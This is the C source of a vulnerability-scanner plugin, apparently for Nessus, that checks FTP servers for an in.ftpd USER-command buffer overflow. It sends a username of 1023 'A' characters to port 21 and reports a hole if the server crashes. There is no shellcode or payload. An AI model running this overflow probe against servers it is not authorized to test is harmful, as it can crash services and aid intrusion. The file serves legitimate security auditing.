/*
 * 
 * ftp_user_overflow
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "in.ftpd USER buffer overflow"
#define DESC "\
It is possible to overflow some in.ftpd deamons by sending \n\
a too long username. This may allow a remote intruder to execute\n\
arbitrary commands on the remote host.\n\n\
Risk factor : high"
#define COPYRIGHT "no copyright"
#define SUMM "attempts to overflow a remote ftp server"





PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_GATHER_INFO);
	plug_set_family(desc, "FTP");
	return(0);
}
	

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buf;
	char * garbage;
	
	if(host_get_port_state(args, 21)<=0)return(0);
	soc = open_sock_tcp(args, 21);
	if(soc<0)return(-1);
	buf = emalloc(4096);
	garbage = emalloc(1024);
	memset(garbage, 'A', 1023);
	
	recv_line(soc, buf, 4095);
        if(strncmp(buf, "220", 3))return(0);
        while(buf[3]=='-')recv_line(soc, buf, 4095);
	bzero(buf, 4095);
	
	sprintf(buf, "USER %s\n", garbage);
        signal(SIGPIPE, SIG_IGN);
	send(soc, buf, strlen(buf),0);
	bzero(buf, strlen(buf));
	recv(soc, buf, 4,0);
	if(!strlen(buf))
	{
	post_hole(args, 21, 
"It is possible to crash the remote FTP server\n\
by sending it a too long username.\n\
An intruder may be able to execute arbitary commands\n\
on the remote host using this method\n\n\
Solution : contact your vendor for a fix\n\n");
	}
	else
	{
	recv(soc, buf+4, 4000,0);
	sprintf(buf, "QUIT\n");
	send(soc, buf, strlen(buf), 0);
	}
        efree(&buf);
	efree(&garbage);
        socket_close(soc);
	return(0);
}

